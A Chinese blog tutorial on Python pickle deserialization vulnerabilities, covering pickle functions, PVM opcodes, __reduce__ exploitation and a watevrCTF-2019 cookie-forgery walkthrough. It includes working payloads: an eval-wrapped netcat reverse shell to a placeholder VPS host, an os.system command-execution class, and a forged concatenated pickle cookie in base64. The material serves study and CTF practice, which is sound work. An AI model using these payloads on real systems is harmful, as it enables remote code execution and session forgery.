python pickle反序列化漏洞

Sl0th Lv4

Python Pickle反序列化漏洞

基础知识

0x00:Pickle/CPickle

picklecPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,之后就以pickle库来进行演示

0x01:Pickle库及函数

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据

dump/load

1
2
3
4
5
6
7
8
9
#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
class Test1(object):
def __init__(self,a,b):
self.a=a
self.b=b
if __name__=='__main__':
test=Test1('1','Lemon')
fp1=open("sky.pkl","wb")
pickle.dump(test,fp1) # 序列化
fp1.close()
fp2=open("shy.pkl","rb")
data=pickle.load(fp2) # 反序列化
fp2.close()

dumps/loads

1
2
3
4
5
6
#序列化
pickle.dumps(obj, protocol=None,*,fix_imports=True)
dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。
#反序列化
pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")
loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。
1
2
3
4
5
6
7
8
9
10
import pickle
class Test1(object):
def __init__(self,a,b):
self.a=a
self.b=b
if __name__=='__main__':
test=Test1('1','Lemon')
str=pickle.dumps(test) # 序列化
data=pickle.loads(str) # 反序列化
fp2.close()

序列化的字符串涉及到PVM

0x02 PVM–python虚拟机

作用

与JVM类似,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。

流程

  • PVM会把源代码编译成字节码

    字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .

  • Python进程会把编译好的字节码转发到PVM(Python虚拟机)中,PVM会循环迭代执行字节码指令,直到所有操作被完成。

PVM与Pickle模块的关系

Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .

由三部分组成

  • 指令处理器( Instruction processor )
  • 栈区( stack )
  • 标签区( memo )

指令处理器可读的操作码

  1. c: 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object作为可调用对象压入到栈中
  2. (: 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
  3. S: 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
  4. t: 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
  5. R: 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中
  6. .: 结束整个 Pickle反序列化过程

漏洞利用

__reduce__魔术方法

反序列化漏洞出现在 __reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。经常构造一个类,在该魔术方法中加入危险函数

另外pickle.loads会解决import问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用

1
2
3
4
5
6
7
8
import base64
import pickle

class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc vpsip port -e/bin/sh')",))
a = A()
print(pickle.dumps(a))

__reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R操作码功能相似,可以对比下:

1
将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中 

⚠️:在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了

可能出现的位置

  1. 解析认证token、session的时候
  2. 将对象Pickle后存储成磁盘文件
  3. 将对象Pickle后在网络中传输
  4. 参数传递给程序

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#模仿Epicccal师傅的例子
import pickle
import os

class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))

if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)

# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")
  • os.system和os.popen

os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0 os.popen() 无法读取程序执行的返回值,可以使用commands.getoutput()这个函数(回显结果)来进行代替,构造payload

拼接覆盖key,伪造cookie

[watevrCTF-2019]Pickle Store

payload

设置余额为10000

1
2
3
4
5
6
7
8
9
10
import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

输出

1
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."

但是key的覆盖只在因此请求中生效,伪造的cookie也必须一起发送,这时候就要拼接两个操作,把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,将两者拼接

第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."

拼接后

1
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."

base64编码后,注意要用python脚本,因为python中字符串b 前缀代表的就是bytes

1
gANjYnVpbHRpbnMKZXhlYwpxAFg0AAAAZ2xvYmFsIGtleTtrZXkgPSBiJzY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2J3EBhXECUnEDfXEAKFgFAAAAbW9uZXlxAU0QJ1gHAAAAaGlzdG9yeXECXXEDWBAAAABhbnRpX3RhbXBlcl9obWFjcQRYIAAAAGNjYjQ4N2VlYzFjYjY2ZGRhOGQwMGE4MTIxYWViNGJmcQV1Lg==
  • 标题: python pickle反序列化漏洞
  • 作者: Sl0th
  • 创建于 : 2022-08-03 23:11:44
  • 更新于 : 2024-07-03 23:29:01
  • 链接: http://sl0th.top/2022/08/03/python-pickle反序列化漏洞/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论